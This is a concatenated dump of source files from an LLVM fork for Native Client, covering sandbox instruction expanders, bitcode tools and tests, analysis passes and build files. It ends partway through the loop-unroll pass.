ScopedLock L(StreamerLock);
bool Valid = Streamer->isValidAddress(Address);
if (Valid)
MinObjectSize = Address;
return Valid;
}
bool ThreadedStreamingCache::dropLeadingBytes(size_t S) {
ScopedLock L(StreamerLock);
return Streamer->dropLeadingBytes(S);
}
void ThreadedStreamingCache::setKnownObjectSize(size_t Size) {
MinObjectSize = Size;
ScopedLock L(StreamerLock);
Streamer->setKnownObjectSize(Size);
}
const uint64_t ThreadedStreamingCache::kCacheSize;
const uint64_t ThreadedStreamingCache::kCacheSizeMask;
llvm::sys::SmartMutex<false> ThreadedStreamingCache::StreamerLock;
<file_sep>/lib/Target/X86/MCTargetDesc/X86MCNaClExpander.h
//===- X86MCNaClExpander.h --------------------------------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file declares the X86MCNaClExpander class, the X86 specific
// subclass of MCNaClExpander.
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_MC_X86MCNACLEXPANDER_H
#define LLVM_MC_X86MCNACLEXPANDER_H
#include "llvm/ADT/SmallVector.h"
#include "llvm/MC/MCInst.h"
#include "llvm/MC/MCInstrInfo.h"
#include "llvm/MC/MCNaClExpander.h"
#include "llvm/MC/MCRegisterInfo.h"
namespace llvm {
class MCContext;
class MCStreamer;
class MCSubtargetInfo;
namespace X86 {
class X86MCNaClExpander : public MCNaClExpander {
public:
X86MCNaClExpander(const MCContext &Ctx, std::unique_ptr<MCRegisterInfo> &&RI,
std::unique_ptr<MCInstrInfo> &&II, bool Is64Bit)
: MCNaClExpander(Ctx, std::move(RI), std::move(II)), Is64Bit(Is64Bit) {}
bool expandInst(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI) override;
protected:
bool isValidScratchRegister(unsigned Reg) const override;
private:
bool Guard = false; // recursion guard
bool Is64Bit = false;
SmallVector<MCInst, 4> Prefixes;
void emitPrefixes(MCStreamer &Out, const MCSubtargetInfo &STI);
void expandIndirectBranch(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI);
void expandReturn(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI);
void expandLoadStore(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI, bool EmitPrefixes);
void expandStringOperation(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI, bool EmitPrefixes);
void doExpandInst(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI, bool EmitPrefixes);
void expandExplicitStackManipulation(unsigned StackReg, const MCInst &Inst,
MCStreamer &Out,
const MCSubtargetInfo &STI,
bool EmitPrefixes);
void emitSandboxMemOp(MCInst &Inst, int MemIdx, unsigned ScratchReg,
MCStreamer &Out, const MCSubtargetInfo &STI);
bool emitSandboxMemOps(MCInst &Inst, unsigned ScratchReg, MCStreamer &Out,
const MCSubtargetInfo &STI);
void emitInstruction(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI, bool EmitPrefixes);
void emitSandboxBranchReg(unsigned Reg, MCStreamer &Out,
const MCSubtargetInfo &STI);
void emitIndirectJumpReg(unsigned Reg, MCStreamer &Out,
const MCSubtargetInfo &STI);
void emitIndirectCallReg(unsigned Reg, MCStreamer &Out,
const MCSubtargetInfo &STI);
};
}
}
#endif
<file_sep>/lib/Fuzzer/FuzzerUtil.cpp
//===- FuzzerUtil.cpp - Misc utils ----------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// Misc utils.
//===----------------------------------------------------------------------===//
#include "FuzzerInternal.h"
#include <iostream>
#include <sys/time.h>
#include <cassert>
#include <cstring>
#include <signal.h>
namespace fuzzer {
void Print(const Unit &v, const char *PrintAfter) {
for (auto x : v)
std::cerr << "0x" << std::hex << (unsigned) x << std::dec << ",";
std::cerr << PrintAfter;
}
void PrintASCII(const Unit &U, const char *PrintAfter) {
for (auto X : U) {
if (isprint(X))
std::cerr << X;
else
std::cerr << "\\x" << std::hex << (int)(unsigned)X << std::dec;
}
std::cerr << PrintAfter;
}
std::string Hash(const Unit &in) {
size_t h1 = 0, h2 = 0;
for (auto x : in) {
h1 += x;
h1 *= 5;
h2 += x;
h2 *= 7;
}
return std::to_string(h1) + std::to_string(h2);
}
static void AlarmHandler(int, siginfo_t *, void *) {
Fuzzer::StaticAlarmCallback();
}
void SetTimer(int Seconds) {
struct itimerval T {{Seconds, 0}, {Seconds, 0}};
std::cerr << "SetTimer " << Seconds << "\n";
int Res = setitimer(ITIMER_REAL, &T, nullptr);
assert(Res == 0);
struct sigaction sigact;
memset(&sigact, 0, sizeof(sigact));
sigact.sa_sigaction = AlarmHandler;
Res = sigaction(SIGALRM, &sigact, 0);
assert(Res == 0);
}
} // namespace fuzzer
<file_sep>/lib/Bitcode/NaCl/Writer/NaClValueEnumerator.h
//===-- Bitcode/NaCl/Writer/NaClValueEnumerator.h - ----------*- C++ -*-===//
// Number values.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This class gives values and types Unique ID's.
//
//===----------------------------------------------------------------------===//
#ifndef NACL_VALUE_ENUMERATOR_H
#define NACL_VALUE_ENUMERATOR_H
#include "llvm/ADT/DenseMap.h"
#include "llvm/ADT/SmallSet.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include <vector>
namespace llvm {
class Type;
class Value;
class Instruction;
class BasicBlock;
class Function;
class Module;
class ValueSymbolTable;
class raw_ostream;
class NaClValueEnumerator {
public:
typedef std::vector<Type*> TypeList;
// For each value, we remember its Value* and occurrence frequency.
typedef std::vector<std::pair<const Value*, unsigned> > ValueList;
private:
// Defines unique ID's for each type.
typedef DenseMap<Type*, unsigned> TypeMapType;
TypeMapType TypeMap;
// Defines the number of references to each type. If defined,
// we are in the first pass of collecting types, and reference counts
// should be added to the map. If undefined, we are in the second pass
// that actually assigns type IDs, based on frequency counts found in
// the first pass.
typedef TypeMapType TypeCountMapType;
TypeCountMapType* TypeCountMap;
TypeList Types;
typedef DenseMap<const Value*, unsigned> ValueMapType;
ValueMapType ValueMap;
ValueList Values;
typedef DenseMap<const Instruction*, unsigned> InstructionMapType;
InstructionMapType InstructionMap;
unsigned InstructionCount;
/// BasicBlocks - This contains all the basic blocks for the currently
/// incorporated function. Their reverse mapping is stored in ValueMap.
std::vector<const BasicBlock*> BasicBlocks;
/// When a function is incorporated, this is the size of the Values list
/// before incorporation.
unsigned NumModuleValues;
unsigned FirstFuncConstantID;
unsigned FirstInstID;
/// Holds values that have been forward referenced within a function.
/// Used to make sure we don't generate more forward reference declarations
/// than necessary.
SmallSet<unsigned, 32> FnForwardTypeRefs;
// The index of the first global variable ID in the bitcode file.
unsigned FirstGlobalVarID;
// The number of global variable IDs defined in the bitcode file.
unsigned NumGlobalVarIDs;
/// \brief Integer type use for PNaCl conversion of pointers.
Type *IntPtrType;
NaClValueEnumerator(const NaClValueEnumerator &) = delete;
void operator=(const NaClValueEnumerator &) = delete;
public:
NaClValueEnumerator(const Module *M);
void dump() const;
void print(raw_ostream &OS, const ValueMapType &Map, const char *Name) const;
unsigned getFirstGlobalVarID() const {
return FirstGlobalVarID;
}
unsigned getNumGlobalVarIDs() const {
return NumGlobalVarIDs;
}
unsigned getValueID(const Value *V) const;
unsigned getTypeID(Type *T) const {
TypeMapType::const_iterator I = TypeMap.find(NormalizeType(T));
assert(I != TypeMap.end() && "Type not in NaClValueEnumerator!");
return I->second-1;
}
unsigned getInstructionID(const Instruction *I) const;
void setInstructionID(const Instruction *I);
/// getFunctionConstantRange - Return the range of values that corresponds to
/// function-local constants.
void getFunctionConstantRange(unsigned &Start, unsigned &End) const {
Start = FirstFuncConstantID;
End = FirstInstID;
}
/// \brief Inserts the give value into the set of known function forward
/// value type refs. Returns true if the value id is added to the set.
bool InsertFnForwardTypeRef(unsigned ValID) {
return FnForwardTypeRefs.insert(ValID).second;
}
const ValueList &getValues() const { return Values; }
const TypeList &getTypes() const { return Types; }
const std::vector<const BasicBlock*> &getBasicBlocks() const {
return BasicBlocks;
}
/// incorporateFunction/purgeFunction - If you'd like to deal with a function,
/// use these two methods to get its data into the NaClValueEnumerator!
///
void incorporateFunction(const Function &F);
void purgeFunction();
/// \brief Returns the value after elided (cast) operations have been
/// removed. Returns V if unable to elide the cast.
const Value *ElideCasts(const Value *V) const;
/// \brief Returns true if value V is an elided (cast) operation.
bool IsElidedCast(const Value *V) const {
return V != ElideCasts(V);
}
/// \brief Returns true if the type of V is the integer used to
/// model pointers in PNaCl.
bool IsIntPtrType(Type *T) const {
return T == IntPtrType;
}
Type *NormalizeType(Type *Ty) const;
private:
void OptimizeTypes(const Module *M);
void OptimizeConstants(unsigned CstStart, unsigned CstEnd);
void EnumerateValue(const Value *V);
void EnumerateType(Type *T, bool InsideOptimizeTypes=false);
void EnumerateOperandType(const Value *V);
void EnumerateValueSymbolTable(const ValueSymbolTable &ST);
};
} // End llvm namespace
#endif
<file_sep>/lib/Bitcode/NaCl/TestUtils/CMakeLists.txt
add_llvm_library(LLVMNaClBitTestUtils
NaClBitcodeMunge.cpp
NaClBitcodeMungeReader.cpp
NaClBitcodeMungeUtils.cpp
NaClBitcodeMungeWriter.cpp
NaClBitcodeTextReader.cpp
NaClBitcodeTextWriter.cpp
NaClFuzz.cpp
NaClRandNumGen.cpp
NaClSimpleRecordFuzzer.cpp
)
add_dependencies(LLVMNaClBitTestUtils intrinsics_gen)
<file_sep>/lib/Target/ARM/MCTargetDesc/ARMMCNaClExpander.h
//===- ARMMCNaClExpander.h --------------------------------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file declares the ARMMCNaClExpander class, the ARM specific
// subclass of MCNaClExpander.
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_MC_ARMMCNACLEXPANDER_H
#define LLVM_MC_ARMMCNACLEXPANDER_H
#include "llvm/MC/MCInstrInfo.h"
#include "llvm/MC/MCNaClExpander.h"
#include "llvm/MC/MCRegisterInfo.h"
namespace llvm {
class MCContext;
class MCInst;
class MCStreamer;
class MCSubtargetInfo;
namespace ARM {
class ARMMCNaClExpander : public MCNaClExpander {
public:
ARMMCNaClExpander(const MCContext &Ctx, std::unique_ptr<MCRegisterInfo> &&RI,
std::unique_ptr<MCInstrInfo> &&II)
: MCNaClExpander(Ctx, std::move(RI), std::move(II)) {}
bool expandInst(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI) override;
protected:
bool isValidScratchRegister(unsigned Reg) const override;
private:
bool Guard = false; // recursion guard
int SaveCount = 0;
void expandIndirectBranch(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI, bool isCall);
void expandCall(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI);
void expandReturn(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI);
bool mayModifyStack(const MCInst &Inst);
void expandControlFlow(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI);
void expandStackManipulation(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI);
void expandPrefetch(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI);
void expandLoadStore(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI);
void doExpandInst(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI);
};
}
}
#endif
<file_sep>/lib/Analysis/AliasDebugger.cpp
//===- AliasDebugger.cpp - Simple Alias Analysis Use Checker --------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This simple pass checks alias analysis users to ensure that if they
// create a new value, they do not query AA without informing it of the value.
// It acts as a shim over any other AA pass you want.
//
// Yes keeping track of every value in the program is expensive, but this is
// a debugging pass.
//
//===----------------------------------------------------------------------===//
#include "llvm/Analysis/Passes.h"
#include "llvm/Analysis/AliasAnalysis.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include <set>
using namespace llvm;
namespace {
class AliasDebugger : public ModulePass, public AliasAnalysis {
//What we do is simple. Keep track of every value the AA could
//know about, and verify that queries are one of those.
//A query to a value that didn't exist when the AA was created
//means someone forgot to update the AA when creating new values
std::set<const Value*> Vals;
public:
static char ID; // Class identification, replacement for typeinfo
AliasDebugger() : ModulePass(ID) {
initializeAliasDebuggerPass(*PassRegistry::getPassRegistry());
}
bool runOnModule(Module &M) override {
InitializeAliasAnalysis(this, &M.getDataLayout()); // set up super class
for(Module::global_iterator I = M.global_begin(),
E = M.global_end(); I != E; ++I) {
Vals.insert(&*I);
for (User::const_op_iterator OI = I->op_begin(),
OE = I->op_end(); OI != OE; ++OI)
Vals.insert(*OI);
}
for(Module::iterator I = M.begin(),
E = M.end(); I != E; ++I){
Vals.insert(&*I);
if(!I->isDeclaration()) {
for (Function::arg_iterator AI = I->arg_begin(), AE = I->arg_end();
AI != AE; ++AI)
Vals.insert(&*AI);
for (Function::const_iterator FI = I->begin(), FE = I->end();
FI != FE; ++FI)
for (BasicBlock::const_iterator BI = FI->begin(), BE = FI->end();
BI != BE; ++BI) {
Vals.insert(&*BI);
for (User::const_op_iterator OI = BI->op_begin(),
OE = BI->op_end(); OI != OE; ++OI)
Vals.insert(*OI);
}
}
}
return false;
}
void getAnalysisUsage(AnalysisUsage &AU) const override {
AliasAnalysis::getAnalysisUsage(AU);
AU.setPreservesAll(); // Does not transform code
}
/// getAdjustedAnalysisPointer - This method is used when a pass implements
/// an analysis interface through multiple inheritance. If needed, it
/// should override this to adjust the this pointer as needed for the
/// specified pass info.
void *getAdjustedAnalysisPointer(AnalysisID PI) override {
if (PI == &AliasAnalysis::ID)
return (AliasAnalysis*)this;
return this;
}
//------------------------------------------------
// Implement the AliasAnalysis API
//
AliasResult alias(const Location &LocA, const Location &LocB) override {
assert(Vals.find(LocA.Ptr) != Vals.end() &&
"Never seen value in AA before");
assert(Vals.find(LocB.Ptr) != Vals.end() &&
"Never seen value in AA before");
return AliasAnalysis::alias(LocA, LocB);
}
ModRefResult getModRefInfo(ImmutableCallSite CS,
const Location &Loc) override {
assert(Vals.find(Loc.Ptr) != Vals.end() && "Never seen value in AA before");
return AliasAnalysis::getModRefInfo(CS, Loc);
}
ModRefResult getModRefInfo(ImmutableCallSite CS1,
ImmutableCallSite CS2) override {
return AliasAnalysis::getModRefInfo(CS1,CS2);
}
bool pointsToConstantMemory(const Location &Loc, bool OrLocal) override {
assert(Vals.find(Loc.Ptr) != Vals.end() && "Never seen value in AA before");
return AliasAnalysis::pointsToConstantMemory(Loc, OrLocal);
}
void deleteValue(Value *V) override {
assert(Vals.find(V) != Vals.end() && "Never seen value in AA before");
AliasAnalysis::deleteValue(V);
}
void copyValue(Value *From, Value *To) override {
Vals.insert(To);
AliasAnalysis::copyValue(From, To);
}
};
}
char AliasDebugger::ID = 0;
INITIALIZE_AG_PASS(AliasDebugger, AliasAnalysis, "debug-aa",
"AA use debugger", false, true, false)
Pass *llvm::createAliasDebugger() { return new AliasDebugger(); }
<file_sep>/lib/Target/ARM/MCTargetDesc/ARMArchName.h
//===-- ARMArchName.h - List of the ARM arch names --------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_LIB_TARGET_ARM_MCTARGETDESC_ARMARCHNAME_H
#define LLVM_LIB_TARGET_ARM_MCTARGETDESC_ARMARCHNAME_H
namespace llvm {
namespace ARM {
enum ArchKind {
INVALID_ARCH = 0
#define ARM_ARCH_NAME(NAME, ID, DEFAULT_CPU_NAME, DEFAULT_CPU_ARCH) , ID
#define ARM_ARCH_ALIAS(NAME, ID) /* empty */
#include "ARMArchName.def"
};
} // namespace ARM
} // namespace llvm
#endif
<file_sep>/PRESUBMIT.py
# Copyright (c) 2012 The Native Client Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
# Documentation on PRESUBMIT.py can be found at:
# http://www.chromium.org/developers/how-tos/depottools/presubmit-scripts
EXCLUDE_PROJECT_CHECKS_DIRS = [ '.' ]
import subprocess
def CheckGitBranch():
p = subprocess.Popen("git branch -vv", shell=True,
stdout=subprocess.PIPE)
output, _ = p.communicate()
lines = output.split('\n')
for line in lines:
# output format for checked-out branch should be
# * branchname hash [TrackedBranchName ...
toks = line.split()
if '*' not in toks[0]:
continue
if not 'origin/master' in toks[3]:
warning = 'Warning: your current branch:\n' + line
warning += '\nis not tracking origin/master. git cl push may silently '
warning += 'fail to push your change. To fix this, do\n'
warning += 'git branch -u origin/master'
return warning
return None
print 'Warning: presubmit check could not determine local git branch'
return None
def _CommonChecks(input_api, output_api):
"""Checks for both upload and commit."""
results = []
results.extend(input_api.canned_checks.PanProjectChecks(
input_api, output_api, project_name='Native Client',
excluded_paths=tuple(EXCLUDE_PROJECT_CHECKS_DIRS)))
return results
def CheckChangeOnUpload(input_api, output_api):
"""Verifies all changes in all files.
Args:
input_api: the limited set of input modules allowed in presubmit.
output_api: the limited set of output modules allowed in presubmit.
"""
report = []
report.extend(_CommonChecks(input_api, output_api))
branch_warning = CheckGitBranch()
if branch_warning:
report.append(output_api.PresubmitPromptWarning(branch_warning))
return report
def CheckChangeOnCommit(input_api, output_api):
"""Verifies all changes in all files and verifies that the
tree is open and can accept a commit.
Args:
input_api: the limited set of input modules allowed in presubmit.
output_api: the limited set of output modules allowed in presubmit.
"""
report = []
report.extend(_CommonChecks(input_api, output_api))
return report
def GetPreferredTrySlaves(project, change):
return []
<file_sep>/tools/llvm-nm/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
${LLVM_TARGETS_TO_BUILD}
Core
NaClBitReader # @LOCALMOD
Object
Support
)
add_llvm_tool(llvm-nm
llvm-nm.cpp
)
<file_sep>/tools/pnacl-bcfuzz/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
Core
NaClBitReader
NaClBitTestUtils
NaClBitWriter
Support)
add_llvm_tool(pnacl-bcfuzz
pnacl-bcfuzz.cpp
)
<file_sep>/tools/pnacl-abicheck/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
BitReader
Core
IRReader
NaClAnalysis
NaClBitReader
Support)
add_llvm_tool(pnacl-abicheck
pnacl-abicheck.cpp
)
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClBitcodeBitsDist.cpp
//===- NaClBitcodeBitsDist.cpp ----------------------------------*- C++ -*-===//
// Implements distributions of values with the corresponding number
// of bits in PNaCl bitcode.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClBitcodeBitsDist.h"
using namespace llvm;
NaClBitcodeBitsDistElement::~NaClBitcodeBitsDistElement() {}
void NaClBitcodeBitsDistElement::AddRecord(const NaClBitcodeRecord &Record) {
NaClBitcodeDistElement::AddRecord(Record);
TotalBits += Record.GetNumBits();
}
void NaClBitcodeBitsDistElement::AddBlock(const NaClBitcodeBlock &Block) {
NaClBitcodeDistElement::AddBlock(Block);
TotalBits += Block.GetLocalNumBits();
}
void NaClBitcodeBitsDistElement::PrintStatsHeader(raw_ostream &Stream) const {
NaClBitcodeDistElement::PrintStatsHeader(Stream);
Stream << " # Bits Bits/Elmt";
}
void NaClBitcodeBitsDistElement::
PrintRowStats(raw_ostream &Stream,
const NaClBitcodeDist *Distribution) const {
NaClBitcodeDistElement::PrintRowStats(Stream, Distribution);
Stream << format(" %9lu %12.2f",
(unsigned long) GetTotalBits(),
(double) GetTotalBits()/GetNumInstances());
}
<file_sep>/lib/Target/X86/MCTargetDesc/CMakeLists.txt
add_llvm_library(LLVMX86Desc
X86AsmBackend.cpp
X86MCTargetDesc.cpp
X86MCAsmInfo.cpp
X86MCCodeEmitter.cpp
X86MCNaCl.cpp # LOCALMOD
X86MCNaClExpander.cpp # LOCALMOD
X86MachObjectWriter.cpp
X86ELFObjectWriter.cpp
X86WinCOFFStreamer.cpp
X86WinCOFFObjectWriter.cpp
X86MachORelocationInfo.cpp
X86ELFRelocationInfo.cpp
)
<file_sep>/unittests/Bitcode/NaClCompressTests.cpp
//===- llvm/unittest/Bitcode/NaClCompressTests.cpp ------------------------===//
// Tests pnacl compression of bitcode files.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "NaClMungeTest.h"
#include "llvm/Bitcode/NaCl/NaClLLVMBitCodes.h"
using namespace llvm;
namespace naclmungetest {
// Note: Tests fix for bug in
// https://code.google.com/p/nativeclient/issues/detail?id=4104
TEST(NaClCompressTests, FixedModuleAbbrevIdBug) {
const uint64_t BitcodeRecords[] = {
1, naclbitc::BLK_CODE_ENTER, naclbitc::MODULE_BLOCK_ID, 4, Terminator,
// Note: We need at least one module abbreviation to activate bug.
2, naclbitc::BLK_CODE_DEFINE_ABBREV, 2,
0, NaClBitCodeAbbrevOp::Array,
0, NaClBitCodeAbbrevOp::VBR, 6,
Terminator,
// Note: We need at least one record in the module that can introduce
// a new abbreviation and cause the bug.
4, naclbitc::MODULE_CODE_VERSION, 1, Terminator,
1, naclbitc::BLK_CODE_ENTER, 17, 4, Terminator,
3, naclbitc::TYPE_CODE_NUMENTRY, 0, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
};
// Show textual version of sample input.
NaClObjDumpMunger DumpMunger(ARRAY_TERM(BitcodeRecords));
EXPECT_TRUE(DumpMunger.runTest());
EXPECT_EQ(
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE' (80, 69, 8"
"8, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
" 16:0|1: <65535, 8, 4> |module { // BlockID = 8\n"
" 24:0| 2: <65533, 2, 0, 3, 0, 2, 6| %a0 = abbrev <array(vbr(6))>;"
"\n"
" | > |\n"
" 26:6| 4: <1, 1> | version 1; <%a0>\n"
" 29:4| 1: <65535, 17, 4> | types { // BlockID = 17\n"
" 36:0| 3: <1, 0> | count 0;\n"
" 38:6| 0: <65534> | }\n"
" 40:0|0: <65534> |}\n",
DumpMunger.getTestResults());
// Show that we can compress as well.
NaClCompressMunger CompressMunger(BitcodeRecords,
array_lengthof(BitcodeRecords), Terminator);
EXPECT_TRUE(CompressMunger.runTest());
}
} // end of namespace naclmungetest
<file_sep>/bindings/go/llvm/ir_test.go
//===- ir_test.go - Tests for ir ------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file tests bindings for the ir component.
//
//===----------------------------------------------------------------------===//
package llvm
import (
"strings"
"testing"
)
func testAttribute(t *testing.T, attr Attribute, name string) {
mod := NewModule("")
defer mod.Dispose()
ftyp := FunctionType(VoidType(), nil, false)
fn := AddFunction(mod, "foo", ftyp)
fn.AddFunctionAttr(attr)
newattr := fn.FunctionAttr()
if attr != newattr {
t.Errorf("got attribute mask %d, want %d", newattr, attr)
}
text := mod.String()
if !strings.Contains(text, " "+name+" ") {
t.Errorf("expected attribute '%s', got:\n%s", name, text)
}
fn.RemoveFunctionAttr(attr)
newattr = fn.FunctionAttr()
if newattr != 0 {
t.Errorf("got attribute mask %d, want 0", newattr)
}
}
func TestAttributes(t *testing.T) {
// Tests that our attribute constants haven't drifted from LLVM's.
attrTests := []struct {
attr Attribute
name string
}{
{SanitizeAddressAttribute, "sanitize_address"},
{AlwaysInlineAttribute, "alwaysinline"},
{BuiltinAttribute, "builtin"},
{ByValAttribute, "byval"},
{InAllocaAttribute, "inalloca"},
{InlineHintAttribute, "inlinehint"},
{InRegAttribute, "inreg"},
{JumpTableAttribute, "jumptable"},
{MinSizeAttribute, "minsize"},
{NakedAttribute, "naked"},
{NestAttribute, "nest"},
{NoAliasAttribute, "noalias"},
{NoBuiltinAttribute, "nobuiltin"},
{NoCaptureAttribute, "nocapture"},
{NoDuplicateAttribute, "noduplicate"},
{NoImplicitFloatAttribute, "noimplicitfloat"},
{NoInlineAttribute, "noinline"},
{NonLazyBindAttribute, "nonlazybind"},
{NonNullAttribute, "nonnull"},
{NoRedZoneAttribute, "noredzone"},
{NoReturnAttribute, "noreturn"},
{NoUnwindAttribute, "nounwind"},
{OptimizeNoneAttribute, "optnone"},
{OptimizeForSizeAttribute, "optsize"},
{ReadNoneAttribute, "readnone"},
{ReadOnlyAttribute, "readonly"},
{ReturnedAttribute, "returned"},
{ReturnsTwiceAttribute, "returns_twice"},
{SExtAttribute, "signext"},
{StackProtectAttribute, "ssp"},
{StackProtectReqAttribute, "sspreq"},
{StackProtectStrongAttribute, "sspstrong"},
{StructRetAttribute, "sret"},
{SanitizeThreadAttribute, "sanitize_thread"},
{SanitizeMemoryAttribute, "sanitize_memory"},
{UWTableAttribute, "uwtable"},
{ZExtAttribute, "zeroext"},
{ColdAttribute, "cold"},
}
for _, a := range attrTests {
testAttribute(t, a.attr, a.name)
}
}
<file_sep>/lib/Transforms/MinSFI/StripTls.cpp
//===- StripTls.cpp - Remove the thread_local attribute from variables ----===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Runtime support for thread-local storage depends on pthreads which are
// currently not supported by MinSFI. This pass removes the thread_local
// attribute from all global variables until thread support is in place.
//
// The pass should be invoked before the pnacl-abi-simplify passes.
//
//===----------------------------------------------------------------------===//
#include "llvm/Pass.h"
#include "llvm/IR/GlobalVariable.h"
#include "llvm/IR/Module.h"
using namespace llvm;
namespace {
class StripTls : public ModulePass {
public:
static char ID;
StripTls() : ModulePass(ID) {
initializeStripTlsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
} // namespace
bool StripTls::runOnModule(Module &M) {
bool Changed = false;
for (Module::global_iterator GV = M.global_begin(), E = M.global_end();
GV != E; ++GV) {
if (GV->isThreadLocal()) {
GV->setThreadLocal(false);
Changed = true;
}
}
return Changed;
}
char StripTls::ID = 0;
INITIALIZE_PASS(StripTls, "minsfi-strip-tls",
"Remove the thread_local attribute from variables",
false, false)
<file_sep>/lib/Transforms/Scalar/LoopUnrollPass.cpp
//===-- LoopUnroll.cpp - Loop unroller pass -------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass implements a simple loop unroller. It works best when loops have
// been canonicalized by the -indvars pass, allowing it to determine the trip
// counts of loops easily.
//===----------------------------------------------------------------------===//
#include "llvm/Transforms/Scalar.h"
#include "llvm/ADT/SetVector.h"
#include "llvm/Analysis/AssumptionCache.h"
#include "llvm/Analysis/CodeMetrics.h"
#include "llvm/Analysis/InstructionSimplify.h"
#include "llvm/Analysis/LoopPass.h"
#include "llvm/Analysis/ScalarEvolution.h"
#include "llvm/Analysis/ScalarEvolutionExpressions.h"
#include "llvm/Analysis/TargetTransformInfo.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/DiagnosticInfo.h"
#include "llvm/IR/Dominators.h"
#include "llvm/IR/InstVisitor.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/Metadata.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/Utils/UnrollLoop.h"
#include <climits>
using namespace llvm;
#define DEBUG_TYPE "loop-unroll"
static cl::opt<unsigned>
UnrollThreshold("unroll-threshold", cl::init(150), cl::Hidden,
cl::desc("The cut-off point for automatic loop unrolling"));
static cl::opt<unsigned> UnrollMaxIterationsCountToAnalyze(
"unroll-max-iteration-count-to-analyze", cl::init(0), cl::Hidden,
cl::desc("Don't allow loop unrolling to simulate more than this number of"
"iterations when checking full unroll profitability"));
static cl::opt<unsigned> UnrollMinPercentOfOptimized(
"unroll-percent-of-optimized-for-complete-unroll", cl::init(20), cl::Hidden,
cl::desc("If complete unrolling could trigger further optimizations, and, "
"by that, remove the given percent of instructions, perform the "
"complete unroll even if it's beyond the threshold"));
static cl::opt<unsigned> UnrollAbsoluteThreshold(
"unroll-absolute-threshold", cl::init(2000), cl::Hidden,
cl::desc("Don't unroll if the unrolled size is bigger than this threshold,"
" even if we can remove big portion of instructions later."));
static cl::opt<unsigned>
UnrollCount("unroll-count", cl::init(0), cl::Hidden,
cl::desc("Use this unroll count for all loops including those with "
"unroll_count pragma values, for testing purposes"));
static cl::opt<bool>
UnrollAllowPartial("unroll-allow-partial", cl::init(false), cl::Hidden,
cl::desc("Allows loops to be partially unrolled until "
"-unroll-threshold loop size is reached."));
static cl::opt<bool>
UnrollRuntime("unroll-runtime", cl::ZeroOrMore, cl::init(false), cl::Hidden,
cl::desc("Unroll loops with run-time trip counts"));
static cl::opt<unsigned>
PragmaUnrollThreshold("pragma-unroll-threshold", cl::init(16 * 1024), cl::Hidden,
cl::desc("Unrolled size limit for loops with an unroll(full) or "
